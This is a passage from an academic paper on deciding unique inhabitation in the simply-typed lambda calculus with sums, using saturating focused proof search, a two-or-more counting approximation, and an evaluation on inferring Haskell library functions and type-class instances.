larity of constructors depends on the specific inference rules; linear
logic needs to distinguish positive and negative products. Some fo-
cused systems also assign a polarity to atomic types, which allows
to express interesting aspects of the dynamics of proof search (pos-
itive atoms correspond to forward search, and negative atoms to
backward search). In Section 2 we present a simple focused variant
of natural deduction for intuitionistic logic.

1.7 Limitations of Focusing

In absence of sums, focused proof terms correspond exactly to β-
short η-long normal forms. In particular, focused search is canoni-
cal (§1.5). However, in presence of both polarities, focused proofs
are not canonical anymore. They correspond to η-long form for
the strictly weaker eta-rule defined without context quantification
x : A+B =weak-η δ(t, x.σ1 x, y.σ2 y).

This can be seen for example on the judgment z : Z, x : Z →
X + Y ` X + Y , a variant on the previous example where the
sum in the context is “thunked” under a negative datatype. The
expected proof is δ(x z, y1.σ1 y1, y2.σ2 y2), but the focused
discipline will accept infinitely many equivalent proof terms, such
as δ(x z, y1.σ1 y1, y2.δ(x z, y

′
1.σ1 y

′
1, .σ2 y2)). The result of

the application x z can be matched upon again and again without
breaking the focusing discipline.

This limitation can also be understood as a strength of focusing:
despite equalizing more terms, the focusing discipline can still
be used to reason about impure calculi where the eliminations
corresponding to non-invertible proof terms may perform side-
effects, and thus cannot be reordered, duplicated or dropped. As
we work on pure, terminating calculi – indeed, even adding non-
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termination as an uncontrolled effect ruins unicity – we need a
stronger equational theory than suggested by focusing alone.

1.8 Our Idea: Saturating Proof Search

Our idea is that instead of only deconstructing the sums that appear
immediately as the top type constructor of a type in context, we
shall deconstruct all the sums that can be reached from the context
by applying eliminations (function application and pair projection).
Each time we introduce a new hypothesis in the context, we satu-
rate it by computing all neutrals of sum type that can be built using
this new hypothesis. At the end of each saturation phase, all the
positives that could be deduced from the context have been decon-
structed, and we can move forward applying non-invertible rules on
the goal. Eliminating negatives until we get a positive and match-
ing in the result corresponds to a cut (which is not reducible, as the
scrutinee is a neutral term), hence our technique can be summarized
as “Cut the positives as soon as you can”.

The idea was inspired by Sam Lindley’s equivalence procedure
for the lambda-calculus with sums, whose rewriting relation can be
understood as moving case-splits down in the derivation tree, until
they get blocked by the introduction of one of the variable appear-
ing in their scrutinee (so moving down again would break scoping)
– this also corresponds to “restriction (A)” in Balat, Di Cosmo, and
Fiore (2004). In our saturating proof search, after introducing a new
formal parameter in the context, we look for all possible new scruti-
nees using this parameter, and case-split on them. Of course, this is
rather inefficient as most proofs will in fact not make use of the re-
sult of those case-splits, but this allows to give a common structure
to all possible proofs of this judgment.

In our example z : Z, x : Z → X + Y ` X + Y , the
saturation discipline requires to cut on x z. But after this sum has
been eliminated, the newly introduced variables y1 : X or y2 : Y
do not allow to deduce new positives – we would need a new Z
for this. Thus, saturation stops and focused search restarts, to find
a unique normal form δ(x z, y1.σ1 y1, y2.σ2 y2). In Section 3 we
show that saturating proof search is computationally complete and
canonical (§1.5).

1.9 Termination

The saturation process described above does not necessarily termi-
nate. For example, consider the type of Church numerals special-
ized to a positiveX+Y , that is,X+Y → (X+Y → X+Y )→
X + Y . Each time we cut on a new sum X + Y , we get new ar-
guments to apply to the function (X + Y → X + Y ), giving yet
another sum to cut on.

In the literature on proof search for propositional logic, the
usual termination argument is based on the subformula property:
in a closed, fully cut-eliminated proof, the formulas that appear
in subderivations of subderivations are always subformulas of the
formulas of the main judgment. In particular, in a logic where
judgments are of the form S ` Awhere S is a finite set of formulas,
the number of distinct judgments appearing in subderivations is
finite (there is a finite number of subformulas of the main judgment,
and thus finitely many possible finite sets as contexts). Finally,
in a goal-directed proof search process, we can kill any recursive
subgoals whose judgment already appears in the path from the root
of the proof to the subgoal. There is no point trying to complete a
partial proof Pabove of S ` A as a strict subproof of a partial proof
Pbelow of the same S ` A (itself a subproof of the main judgment):
if there is a closed subproof for Pabove, we can use that subproof
directly for Pbelow, obviating the need for proving Pabove in the first
place. Because the space of judgments is finite, a search process
forbidding such recurring judgments always terminates.

We cannot directly apply this reasoning, for two reasons.

• Our contexts are mapping from term variables to formulas or,
seen abstractly, multisets of formulas; even if the space of pos-
sible formulas is finite for the same reason as above, the space
of multisets over them is still infinite.

• Erasing such multiset to sets, and cutting according to the non-
recurrence criteria above, breaks unicity completeness (§1.5).
Consider the construction of Church numerals by a judgment
of the form x : X, y : X → X ` X . One proof is just x, and
all other proofs require providing an argument of type X to the
function y, which corresponds to a subgoal that is equal to our
goal; they would be forbidden by the no-recurrence discipline.

We must adapt these techniques to preserve not only provability
completeness, but also unicity completeness (§1.5). Our solution is
to use bounded multisets to represent contexts and collect recursive
subgoals. We store at most M variables for each given formula, for
a suitably chosen M such that if there are two different programs
for a given judgment ∆ ` A, then there are also two different
programs for b∆cM ` A, where b∆cM is the bounded erasure
keeping at most M variables at each formula.

While it seems reasonable that such a M exists, it is not intu-
itively clear what its value is, or whether it is a constant or depends
on the judgment to prove. Could it be that a given goal A is prov-
able in two different ways with four copies of X in the context, but
uniquely inhabited if we only have three X?

In Section 4 we prove that M def
= 2 suffices. In fact, we prove

a stronger result: for any n ∈ N, keeping at most n copies of each
formula in context suffices to find at least n distinct proofs of any
goal, if they exist.

For recursive subgoals as well, we only need to remember at
most 2 copies of each subgoal: if some Pabove appears as the
subgoal of Pbelow and has the same judgment, we look for a closed
proof of Pabove. Because it would also have been a valid proof for
Pbelow, we have found two proofs for Pbelow: the one using Pabove

and its closed proof, and the closed proof directly. Pabove itself
needs not allow new recursive subgoal at the same judgment, so
we can kill any subgoal that has at least two ancestors with the
same judgment while preserving completeness for unicity (§1.5).

1.10 Contributions

We show that the unique inhabitation problem for simply-typed
lambda-calculus for sums is decidable, and propose an effective
algorithm for it. Given a context and a type, it answers that there
are zero, one, or “at least two” inhabitants, and correspondingly
provides zero, one, or two distinct terms at this typing. Our al-
gorithm relies on a novel saturating focused logic for intuition-
istic natural deduction, with strong relations to the idea of maxi-
mal multi-focusing in the proof search literature (Chaudhuri, Miller,
and Saurin 2008), that is both computationally complete (§1.5) and
canonical with respect to βη-equivalence.

We provide an approximation result for program multiplicity of
simply-typed derivations with bounded contexts. We use it to show
that our terminating algorithm is complete for unicity (§1.5), but it
is a general result (on the common, non-focused intuitionistic logic)
that is of independent interest.

Finally, we present preliminary studies of applications for code
inference. While extension to more realistic type systems is left
for future work, simply-typed lambda-calculus with atomic types
already allow to encode some prenex-polymorphic types typically
found in libraries of strongly-typed functional programs.

246



2. Intuitionistic Focused Natural Deduction

Γ ::= varmap(Nat) negative or atomic context
∆ ::= varmap(A) general context

INV-PAIR
Γ; ∆ `inv t : A Γ; ∆ `inv u : B

Γ; ∆ `inv (t, u) : A ∗B

INV-SUM
Γ; ∆, x : A `inv t : C Γ; ∆, x : B `inv u : C

Γ; ∆, x : A+B `inv δ(x, x.t, x.u) : C

INV-ARR
Γ; ∆, x : A `inv t : B

Γ; ∆ `inv λx. t : A→ B

INV-END
Γ,Γ′ `foc t : Pat

Γ; Γ′ `inv t : Pat

FOC-INTRO
Γ ` t ⇑ P

Γ `foc t : P

FOC-ATOM
Γ ` n ⇓ X

Γ `foc n : X

FOC-ELIM
Γ ` n ⇓ P Γ;x : P `inv t : Qat

Γ `foc let x = n in t : Qat

INTRO-SUM
Γ ` t ⇑ Ai

Γ ` σi t ⇑ A1 +A2

INTRO-END
Γ; ∅ `inv t : Nat

Γ ` t ⇑ Nat

ELIM-PAIR
Γ ` n ⇓ A1 ∗A2

Γ ` πi n ⇓ Ai

ELIM-START
(x : Nat) ∈ Γ

Γ ` x ⇓ Nat

ELIM-ARR
Γ ` n ⇓ A→ B Γ ` u ⇑ A

Γ ` n u ⇓ B

Figure 5. Cut-free focused natural deduction for intuitionistic
logic

In Figure 5 we introduce a focused natural deduction for intu-
itionistic logic, as a typing system for the simply-typed lambda-
calculus – with an explicit let construct. It is relatively stan-
dard, strongly related to the linear intuitionistic calculus of Brock-
Nannestad and Schürmann (2010), or the intuitionistic calculus of
Krishnaswami (2009). We distinguish four judgments: Γ; ∆ `inv
t : A is the invertible judgment, Γ `foc t : Pat the focusing judg-
ment, Γ ` t ⇑ A the non-invertible introduction judgment and
Γ ` n ⇓ A the non-invertible elimination judgment. The sys-
tem is best understood by following the “life cycle” of the proof
search process (forgetting about proof terms for now), which ini-
tially starts with a sequent to prove of the form ∅; ∆ `inv ? : A.

During the invertible phase Γ; ∆ `inv ? : A, invertible rules
are applied as long as possible. We defined negative types as those
whose introduction in the goal is invertible, and positives as those
whose elimination in the context is invertible. Thus, the invertible
phase stops only when all types in the context are negative, and the
goal is positive or atomic: this is enforced by the rule INV-END. The
two contexts correspond to an “old” context Γ, which is negative or
atomic (all positives have been eliminated in a previous invertible
phase), and a “new” context ∆ of any polarity, which is the one
being processed by invertible rule. INV-END only applies when the
new context Γ′ is negative or atomic, and the goal Pat positive or
atomic.

The focusing phase Γ `foc ? : Pat is where choices are made:
a sequence of non-invertible steps will be started, and continue as
long as possible. Those non-invertible steps may be eliminations in
the context (FOC-ELIM), introductions of a strict positive in the goal

(FOC-INTRO), or conclusion of the proof when the goal is atomic
(FOC-ATOM).

In terms of search process, the introduction judgment Γ ` ? ⇑
A should be read from the bottom to the top, and the elimination
judgment Γ ` ? ⇓ A from the top to the bottom. Introductions
correspond to backward reasoning (to prove A1 + A2 it suffices
to prove Ai); they must be applied as long as the goal is positive,
to end on negatives or atoms (INTRO-END) where invertible search
takes over. Eliminations correspond to forward reasoning (from the
hypothesis A1 ∗ A2 we can deduce Ai) started from the context
(ELIM-START); they must also be applied as long as possible, as they
can only end in the rule FOC-ELIM on a strict positive, or in the rule
FOC-ATOM on an atom.

Sequent-Style Left Invertible Rules The left-introduction rule
for sums INV-SUM is sequent-style rather than in the expected nat-
ural deduction style: we only destruct variables found in the con-
text, instead of allowing to destruct arbitrary expressions. We also
shadow the matched variable, as we know we will never need the
sum again.

Let-Binding The proof-term let x = n in t used in the
FOC-ELIM rule is not part of the syntax we gave for the simply-typed
lambda-calculus in Section 1.4. Indeed, focusing re-introduces a re-
stricted cut rule which does not exist in standard natural deduction.
We could write t[n/x] instead, to get a proper λ-term – and indeed
when we speak of focused proof term as λ-term this substitution is
to be understood as implicit. We prefer the let syntax which better
reflects the dynamics of the search it witnesses.

We call letexp(t) the λ-term obtained by performing let-
expansion (in depth) on t, defined by the only non-trivial case:

letexp(let x = n in t)
def
= letexp(t)[letexp(n)/x]

Normality If we explained let x = n in t as syntactic sugar
for (λx. t) n, our proofs term would contain β-redexes. We prefer
to explain them as a notation for the substitution t[n/x], as it is
then apparent that proof term for the focused logic are in β-normal
form. Indeed, x being of strictly positive type, it is necessarily a
sum and is destructed in the immediately following invertible phase
by a rule INV-SUM (which shadows the variable, never to be used
again). As the terms corresponding to non-invertible introductions
Γ ` n ⇓ P are all neutrals, the substitution creates a subterm of
the form δ(n, x.t, x.u) with no new redex.

One can also check that proof terms for judgments that do not
contain sums are in η-long normal form. For example, a subterm
of type A → B is either type-checked by an invertible judgment
Γ; ∆ `inv t : A → B or an elimination judgment Γ ` n ⇓
A → B. In the first case, the invertible judgment is either a sum
elimination (excluded by hypothesis) or a function introduction
λx. u. In the second case, because an elimination phase can only
end on a positive or atomic type, we know that immediately below
is the elimination rule for arrows: it is applied to some argument,
and η-expanding it would create a β-redex.

Fact 1. The focused intuitionistic logic is complete for provability.
It is also computationally complete (§1.5).

2.1 Invertible Commuting Conversions

The invertible commuting conversion (or invertible commutative
cuts) relation (=icc) expresses that, inside a given invertible phase,
the ordering of invertible step does not matter.
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δ(t, x.λy1. u1, x.λy2. u2) =icc λy. δ(t, x.u1[y/y1], x.u2[y/y2])

δ(t, x.(u1, u2), x.(r1, r2)) =icc

(δ(t, x.u1, x.r1), δ(t, x.u2, x.r2))

δ(t, x.δ(u, y.r1, y.r
′
1), x.δ(u, y.r2, y.r

′
2)) =icc

δ(u, y.δ(t, x.r1, x.r2), x.δ(t, x.r′1, x.r
′
2))

This equivalence relation is easily decidable. We could do with-
out it. We could force a specific operation order by restricting typ-
ing rules, typically by making ∆ a list to enforce sum-elimination
order, and requiring the goal C of sum-eliminations to be positive
or atomic to enforce an order between sum-eliminations and in-
vertibles utintroductions. We could also provide more expressive
syntactic forms (parallel multi-sums elimination (Altenkirch, Dyb-
jer, Hofmann, and Scott 2001)) and normalize to this more canon-
ical syntax. We prefer to make the non-determinism explicit in the
specification. Our algorithm uses some implementation-defined or-
der for proof search, it never has to compute (=icc)-convertibility.

Note that there are term calculi (Curien and Munch-Maccagnoni
2010) inspired from sequent-calculus, where commuting conver-
sions naturally correspond to computational reductions, which
would form better basis for studying normal forms than λ-terms.
In the present work we wished to keep a term language resembling
functional programs.

3. A Saturating Focused System

In this section, we introduce the novel saturating focused proof
search, again as a term typing system that is both computationally
complete (§1.5) and canonical. It serves as a specification of our
normal forms; our algorithm shall only search for a finite subspace
of saturated proofs, while remaining unicity complete.

Saturated focusing logic is a variant of the previous focused
natural deduction, where the focusing judgment Γ `foc t : Pat is
replaced by a saturating judgment Γ; Γ′ `sat t : Pat. The system is
presented in Figure 6; the rules for non-invertible elimination and
introductions, and the invertible rules, are identical to the previous
ones and have not been repeated.

(rules for Γ ` t ⇑ A and Γ ` n ⇓ A as in Figure 5)
(invertible rules, except INV-END, as in Figure 5)

SINV-END
Γ; Γ′ `sat t : Pat

Γ; Γ′ `sinv t : Pat

SAT-INTRO
Γ ` t ⇑ P

Γ; ∅ `sat t : P

SAT-ATOM
Γ ` n ⇓ X

Γ; ∅ `sat n : X

SAT
(n̄, P̄ ) ⊆ {(n, P ) | (Γ,Γ′ ` n ⇓ P ) ∧ n uses Γ′}

Γ,Γ′; x̄ : P̄ `sinv t : Qat ∀x ∈ x̄, t uses x
Γ; Γ′ `sat let x̄ = n̄ in t : Qat

x ∈ ∆

x uses ∆

(∃n ∈ n̄, n uses ∆) ∨ t uses ∆

let x̄ = n̄ in t uses ∆

(t1 uses ∆) ∨ (t2 uses ∆)

δ(x, x.t1, x.t2) uses ∆

(t uses ∆) ∨ (u uses ∆)

t u uses ∆

(other (t uses ∆): simple or-mapping like for t u)

Figure 6. Cut-free saturating focused intuitionistic logic

In this new judgment, the information that a part of the context is
“new”, which is available from the invertible judgment Γ; Γ′ `sinv

t : A, is retained. The “old” context Γ has already been saturated,
and all the positives deducible from it have already been cut – the
result of their destruction is somewhere in the context. In the new
saturation phase, we must cut all new sums, that were not available
before, that is, those that use Γ′ in some way. It would not only be
inefficient to cut old sums again, it would break canonicity (§1.5):
with redundant formal variables in the context our algorithm could
wrongly believe to have found several distinct proofs.

The right-focusing rules SAT-INTRO and SAT-ATOM behave ex-
actly as FOC-INTRO and FOC-ATOM in the previous focused system.
But they can only be used when there is no new context.

When there is a new context to saturate, the judgment must
go through the SAT rule – there is no other way to end the proof.
The left premise of the rule, corresponding to the definition in SAT,
quantifies over all strictly positive neutrals that can be deduced
from the old and new contexts combined (Γ,Γ′), but selects those
that are “new”, in the sense that they use at least one variable com-
ing from the new context fragment Γ′. Then, we simultaneously
cut on all those new neutrals, by adding a fresh variable for each
of them in the general context, and continuing with an invertible
phase: those positives need to be deconstructed for saturation to
start again.

The n uses Γ′ restriction imposes a unique place at which
each cut, each binder may be introduced in the proof term: exactly
as soon as it becomes defineable. This enforces canonicity by elim-
inating redudant proofs that just differ in the place of introduction
of a binder, or bind the same value twice. For example, consider
the context Γ

def
= (x : X, y : X → (Y + Y )), and suppose we

are tryind to find all distinct terms of type Y . During the first sat-
uration phase (∅; Γ `sat ? : Y ), we would build the neutral term
y x of type Y + Y ; it passes the test y x uses Γ as it uses both
variables of Γ. Then, the invertible phase Γ; z : Y + Y `sinv ? : Y
decomposes the goal in two subgoals Γ; z : Y `sat ? : Y . Without
the n uses Γ′ restriction, the SAT rule could cut again on y x, with
would lead, after the next invertible phase, to contexts of the form
Γ, z : Y ; z′ : Y . But it is wrong to have two distinct variables of
type Y here, as there should be only one way to build a Y .

The relation n uses Γ′ is defined structurally on proof terms
(or, equivalently, their typing derivations). Basically, a term “uses”
a context if it uses at least one of its variables; for most terms, it is
defined as a big “or” on its subterms. The only subtlety is that the
case-split δ(x, x.t1, x.t2) does not by itself count as a use of the
split variable: to be counted as “used”, either t1 or t2 must use the
shadowing variable x.

Finally, the last condition of the SAT rule (∀x ∈ x̄, t uses x)
restricts the saturated variables listed in the let-binding to be only
those actually used by the term. In terms of proof search, this
restriction is applied after the fact: first, cut all positives, then search
for all possible subproofs, and finally trim each of them, so that
it binds only the positives it uses. This restriction thus does not
influence proof search, but it ensures that there always exist finite
saturating proofs for inhabited types, by allowing proof search
to drop unnecessary bindings instead of saturating them forever.
Consider Church numerals on a sum type, X + Y → (X + Y →
X+Y )→ X+Y , there would be no finite saturating proof without
this restriction, which would break provability completeness.

Theorem 1 (Canonicity of saturating focused logic). If we have
Γ; ∆ `sinv t : A and Γ; ∆ `sinv u : A in saturating focused logic
with t 6=icc u, then t 6=βη u.

Theorem 2 (Computational completeness of saturating focused
logic). If we have ∅; ∆ `inv t : A in the non-saturating focused
logic, then for some u =βη t we have ∅; ∆ `sinv u : A in the
saturating focused logic.
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4. Two-Or-More Approximation

A complete presentation of the content of this section, along with
complete proofs, is available as a research report (Scherer 2014).

Our algorithm bounds contexts to at most two formal variables
at each type. To ensure it correctly predicts unicity (it never claims
that there are zero or one programs when two distinct programs
exist), we need to prove that if there exists two distinct saturated
proofs of a goal A in a given context Γ, then there already exist
two distinct proofs of A in the context bΓc2, which drops variables
from Γ so that no formula occurs more than twice.

We formulate this property in a more general way: instead of
talking about the cut-free proofs of the saturating focused logics,
we prove a general result about the set of derivations of a typing
judgment ∆ ` ? : A that have “the same shape”, that is, that erase
to the same derivation of intuitionistic logic b∆c1 ` A, where
b∆c1 is the set of formulas present in ∆, forgetting multiplicity.
This result applies in particular to saturating focused proof terms,
(their let-expansion) seen as programs in the unfocused λ-calculus.

We define an explicit syntax for “shapes” S in Figure 7, which
are in one-to-one correspondence with (variable-less) natural de-
duction proofs. It also define the erasure function btc1 from typed
λ-terms to typed shapes.

S, T := typed shapes
| A,B,C,D axioms
| λA. S λ-abstraction
| S T application
| (S, T ) pair
| πi S projection
| σi S sum injection
| δ(S, A.T1, B.T2) sum destruction

bx : Ac1
def
= A bλx : A. tc1

def
= λA. btc1

bt uc1
def
= btc1 buc1 b(t, u)c1

def
= (btc1, buc1)

bπi tc1
def
= πi btc1 bσi tc1

def
= σi btc1

bδ((t : A+B), y.u, z.r)c1
def
= δ(btc1, A.buc1, B.brc1)

Figure 7. Shapes of variable-less natural deduction proofs

The central idea of our approximation result is the use of count-
ing logics, that counts the number of λ-terms of different shapes.
A counting logic is parametrized over a semiring1 K; picking the
semiring of natural numbers precisely corresponds to counting the
number of terms of a given shape, counting in the semiring {(0, 1)}
corresponds to the variable-less logic (which only expresses inhab-
itation), and counting in finite semirings of support {0, 1, . . . ,M}
corresponds to counting proofs with approximative bounded con-
texts of size at most M .

The counting logic, defined in Figure 8, is parametrized over
a semiring (K, 0K , 1K ,+K ,×K). The judgment is of the form
S :: Φ `K A : a, where S is the shape of corresponding logic
derivation, Φ is a context mapping formulas to a multiplicity in K,
A is the type of the goal being proven, and a is the “output count”,
a scalar of K.

Let us write #S the cardinal of a set S and b∆c# for the
“cardinal erasure” of the typing context ∆, defined as #{x | (x :
A) ∈ ∆}. We can express the relation between counts in the
semiring N and cardinality of typed λ-terms of a given shape:

1 A semiring (K, 0K , 1K ,+K ,×K) is defined as a two-operation alge-
braic structure where (0K ,+K) and (1K ,×K) are monoids, (+K) com-
mutes and distributes over (×K) (which may or may not commute), 0K
is a zero/absorbing element for (×K), but (+K) and (×K) need not have
inverses (Z’s addition is invertible so it is a ring, N is only a semiring).

(Φ,Ψ)
def
= A 7→ (Φ(A) +K Ψ(A))

(A : 1)
def
=

{
A 7→ 1K
B 6= A 7→ 0K

COUNT-AXIOM
A :: Φ `K A : Φ(A)

COUNT-INTRO-ARR
S :: Φ, A : 1 `K B : a

λA. S :: Φ `K A→ B : a

COUNT-ELIM-ARR
S1 :: Φ `K A→ B : a1 S2 :: Φ `K A : a2

S1 S2 :: Φ `K B : a1 × a2

COUNT-INTRO-PAIR
S1 :: Φ `K A : a1 S2 :: Φ `K B : a2

(S1, S2) :: Φ `K A ∗B : a1 × a2

COUNT-ELIM-PAIR
S :: Φ `K A1 ∗A2 : a

πi S :: Φ `K Ai : a

COUNT-INTRO-SUM
S :: Φ `K Ai : a

σi S :: Φ `K A1 +A2 : a

COUNT-ELIM-SUM
S :: Φ `K A+B : a1

T1 :: Φ, A : 1 `K C : a2 T2 :: Φ, B : 1 `K C : a3

δ(S, A.T1, B.T2) :: Φ `K C : a1 × a2 × a3

Figure 8. Counting logic over (K, 0K , 1K ,+K ,×K)

Lemma 1. For any environment ∆, shape S and type A, the
following counting judgment is derivable:

S :: b∆c# `N A : #{t | ∆ ` t : A ∧ btc1 = S}

Note that the counting logic does not have a convincing dynamic
semantics – the dynamic semantics of variable-less shapes them-
selves have been studied in Dowek and Jiang (2011). We only use
it as a reasoning tool to count programs.

If φ : K → K′ map the scalars of one semiring to another,
and Φ is a counting context in K, we write bΦcφ its erasure in K′

defined by bΦcφ(A)
def
= φ(Φ(A)). We can then formulate the main

result on counting logics:

Theorem 3 (Morphism of derivations). If φ : K → K′ is
a semiring morphism and S :: Φ `K A : a is derivable, then
S :: bΦcφ `K′ A : φ(a) is also derivable.

To conclude, we only need to remark that the derivation count
is uniquely determined by the multiplicity context.

Lemma 2 (Determinism). If we have both S :: Φ `K A : a and
S :: Φ `K A : b then a =K b.

Corollary 1 (Counting approximation). If φ is a semiring mor-
phism and bΦcφ = bΨcφ then S :: Φ `K A : a and S :: Ψ `K
A : b imply φ(a) = φ(b).

Approximating arbitrary contexts into zero, one or “two-or-
more” variables corresponds to the semiring 2̄ of support {0, 1, 2},
with commutative semiring operations fully determined by 1+1 =
2, 2 + a = 2, and 2× 2 = 2. Then, the function n 7→ min(2, n) is
a semiring morphism from N to 2̄, and the corollary above tells us
that number of derivations of the judgments ∆ ` A and b∆c2 ` A
project to the same value in {0, 1, 2}. This results extend to any n,
as {0, 1, . . . , n} can be similarly given a semiring structure.
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5. Search Algorithm

The saturating focused logic corresponds to a computationally
complete presentation of the structure of canonical proofs we are
interested in. From this presentation it is extremely easy to derive
a terminating search algorithm complete for unicity – we moved
from a whiteboard description of the saturating rules to a work-
ing implementation of the algorithm usable on actual examples in
exactly one day of work. The implementation (Scherer and Rémy
2015) is around 700 lines of readable OCaml code.

The central idea to cut the search space while remaining com-
plete for unicity is the two-or-more approximation: there is no need
to store more than two formal variables of each type, as it suffices to
find at least two distinct proofs if they exist – this was proved in the
Section 4. We use a plurality monad Plur, defined in set-theoretic
terms as Plur(S)

def
= 1 + S + S × S, representing zero, one or “at

least two” distinct elements of the set S. Each typing judgment is
reformulated into a search function which takes as input the con-
text(s) of the judgment and its goal, and returns a plurality of proof
terms – we search not for one proof term, but for (a bounded set
of) all proof terms. Reversing the usual mapping from variables to
types, the contexts map types to pluralities of formal variables.

In the search algorithm, the SINV-END rule does merely pass
its new context Γ′ to the saturation rules, but it also trims it by
applying the two-or-more rule: if the old context Γ already has
two variables of a given formula Nat, drop all variables for Nat

from Γ′; if it already has one variable, retain at most one variable
in Γ′. This corresponds to an eager application of the variable-use
restriction of the SAT rule: we have decided to search only for terms
that will not use those extraneous variables, hence they are never
useful during saturation and we may as well drop them now. This
trimming is sound, because it corresponds to an application of the
SAT rule that would bind the empty set. Proving that it is complete
for unicity is the topic of Section 4.

To effectively implement the saturation rules, a useful tool is a
selection function (called select oblis in our prototype) which
takes a selection predicate on positive or atomic formulas Pat, and
selects (a plurality of) each negative formula Nat from the context
that might be the starting point of an elimination judgment of the
form Γ ` n ⇓ Pat, for a Pat accepted by the selection predicate. For
example, if we want to proveX and there is a formula Y → Z ∗X ,
this formula will be selected – although we don’t know yet if we
will be able to prove Y . For each such Pat, it returns a proof
obligation, that is either a valid derivation of Γ ` n ⇓ Pat, or
a request, giving some formula A and expecting a derivation of
Γ ` ? ⇑ A before returning another proof obligation.

The rule SAT-ATOM (Γ; ∅ `sat ? : X) uses this selection function
to select all negatives that could potentially be eliminated into
a X , and feeding (pluralities of) answers to the returned proof
obligations (by recursively searching for introduction judgments)
to obtain (pluralities of) elimination proofs of X .

The rule SAT uses the selection function to find the negatives
that could be eliminated in any strictly positive formula and tries
to fullfill (pluralities of) proof obligations. This returns a binding
context (with a plurality of neutrals for each positive formula),
which is filtered a posteriori to keep only the “new” bindings –
that use the new context. The new binding are all added to the
search environment, and saturating search is called recursively. It
returns a plurality of proof terms; each of them results in a proof
derivation (where the saturating set is trimmed to retain only the
bindings useful to that particular proof term).

Finally, to ensure termination while remaining complete for
unicity, we do not search for proofs where a given subgoal occurs
strictly more than twice along a given search path. This is easily
implemented by threading an extra “memory” argument through

each recursive call, which counts the number of identical subgoals
below a recursive call and kills the search (by returning the “zero”
element of the plurality monad) at two. Note that this does not
correspond to memoization in the usual sense, as information is
only propagated along a recursive search branch, and never shared
between several branches.

This fully describes the algorithm, which is easily derived from
the logic. It is effective, and our implementation answers instantly
on all the (small) types of polymorphic functions we tried. But it is
not designed for efficiency, and in particular saturation duplicates a
lot of work (re-computing old values before throwing them away).

In the long version of this article (Scherer and Rémy 2015),
we give a presentation of the algorithm as a system of inference
rules that is terminating and deterministic. Using the two-or-more
counting approximation result (Corollary 1) of the next section, we
can prove the correctness of this presentation.

Theorem 4. Our unicity-deciding algorithm is terminating and
complete for unicity.

The search space restrictions described above are those neces-
sary for termination. Many extra optimizations are possible, that
can be adapted from the proof search literature – with some care to
avoid losing completness for unicity. For example, there is no need
to cut on a positive if its atoms do not appear in negative positions
(nested to the left of an odd number of times) in the rest of the goal.
We did not develop such optimizations, except for two low-hanging
fruits we describe below.

Eager Redundancy Elimination Whenever we consider select-
ing a proof obligation to prove a strict positive during the saturation
phase, we can look at the negatives that will be obtained by cutting
it. If all those atoms are already present at least twice in the context,
this positive is redundant and there is no need to cut on it. Dually,
before starting a saturation phase, we can look at whether it is al-
ready possible to get two distinct neutral proofs of the goal from
the current context. In this case it is not necessary to saturate at all.

This optimization is interesting because it significantly reduces
the redundancy implied by only filtering of old terms after com-
puting all of them. Indeed, we intuitively expect that most types
present in the context are in fact present twice (being unique tends
to be the exception rather than the rule in programming situations),
and thus would not need to be saturated again. Redundancy of sat-
uration still happens, but only on the “frontier formulas” that are
present exactly once.

Subsumption by Memoization One of the techniques necessary
to make the inverse method (McLaughlin and Pfenning 2008) com-
petitive is subsumption: when a new judgment is derived by for-
ward search, it is added to the set of known results if it is not sub-
sumed by a more general judgment (same goal, smaller context)
already known.

In our setting, being careful not to break computational com-
pleteness, this rule becomes the following. We use (monotonic)
mutable state to grow a memoization table of each proved subgoal,
indexed by the right-hand-side formula. Before proving a new sub-
goal, we look for all already-computed subgoals of the same right-
hand-side formula. If one exists with exactly the same context, we
return its result. But we also return eagerly if there exists a larger
context (for inclusion) that returned zero result, or a smaller context
that returned two-or-more results.

Interestingly, we found out that this optimization becomes un-
sound in presence of the empty type 0 (which are not yet part of the
theory, but are present as an experiment in our implementation). Its
equational theory tells us that in an inconsistent cotnext (0 is prov-
able), all proofs are equal. Thus a type may have two inhabitants in
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a given context, but a larger context that is inconsistent (allows to
prove 0) will have a unique inhabitant, breaking monotonicity.

6. Evaluation

In this section, we give some practical examples of code inference
scenarios that our current algorithm can solve, and some that it
cannot – because the simply-typed theory is too restrictive.

The key to our application is to translate a type using prenex-
polymorphism into a simple type using atoms in stead of type vari-
ables – this is semantically correct given that bound type variables
in System F are handled exactly as simply-typed atoms. The ap-
proach, of course, is only a very first step and quickly shows it
limits. For example, we cannot work with polymorphic types in the
environment (ML programs typically do this, for example when
typing a parametrized module, or type-checking under a type-class
constraint with polymorphic methods), or first-class polymorphism
in function arguments. We also do not handle higher-kinded types
– even pure constructors.

6.1 Inferring Polymorphic Library Functions

The Haskell standard library contains a fair number of polymorphic
functions with unique types. The following examples have been
checked to be uniquely defined by their types:

fst : ∀αβ. α ∗ β → α
curry : ∀αβγ. (α ∗ β → γ)→ α→ β → γ

uncurry : ∀αβγ. (α→ β → γ)→ α ∗ β → γ

either : ∀αβγ.(α→ γ)→ (β → γ)→ α+ β → γ

When the API gets more complicated, both types and terms
become harder to read and uniqueness of inhabitation gets much
less obvious. Consider the following operators chosen arbitrarily in
the lens (Kmett 2012) library.
(<.) :: Indexable i p => (Indexed i s t -> r)

-> ((a -> b) -> s -> t) -> p a b -> r
(<.>) :: Indexable (i, j) p => (Indexed i s t -> r)

-> (Indexed j a b -> s -> t) -> p a b -> r
(%@~) :: AnIndexedSetter i s t a b

-> (i -> a -> b) -> s -> t
non :: Eq a => a -> Iso’ (Maybe a) a

The type and type-class definitions involved in this library
usually contain first-class polymorphism, but the documenta-
tion (Kmett 2013) provides equivalent “simple types” to help
user understanding. We translated the definitions of Indexed,
Indexable and Iso using those simple types. We can then check
that the first three operators are unique inhabitants; non is not.

6.2 Inferring Module Implementations or Type-Class
Instances

The Arrow type-class is defined as follows:
class Arrow (a : * -> * -> * ) where
arr :: (b -> c) -> a b c
first :: a b c -> a (b, d) (c, d)
second :: a b c -> a (d, b) (d, c)
(***) :: a b c -> a b’ c’ -> a (b, b’) (c, c’)
(&&&) :: a b c -> a b c’ -> a b (c, c’)

It is self-evident that the arrow type (→) is an instance of
this class, and no code should have to be written to justify this:
our prototype is able to infer that all those required methods are
uniquely determined when the type constructor a is instantiated

with an arrow type. This also extends to subsequent type-classes,
such as ArrowChoice.

As most of the difficulty in inferring unique inhabitants lies in
sums, we study the “exception monad”, that is, for a fixed type X ,
the functor α 7→ X + α. Our implementation determines that its
Functor and Monad instances are uniquely determined, but that its
Applicative instance is not.

This is in fact a general result on applicative functors for types
that are also monads: there are two distinct ways to prove that a
monad is also an applicative functor.
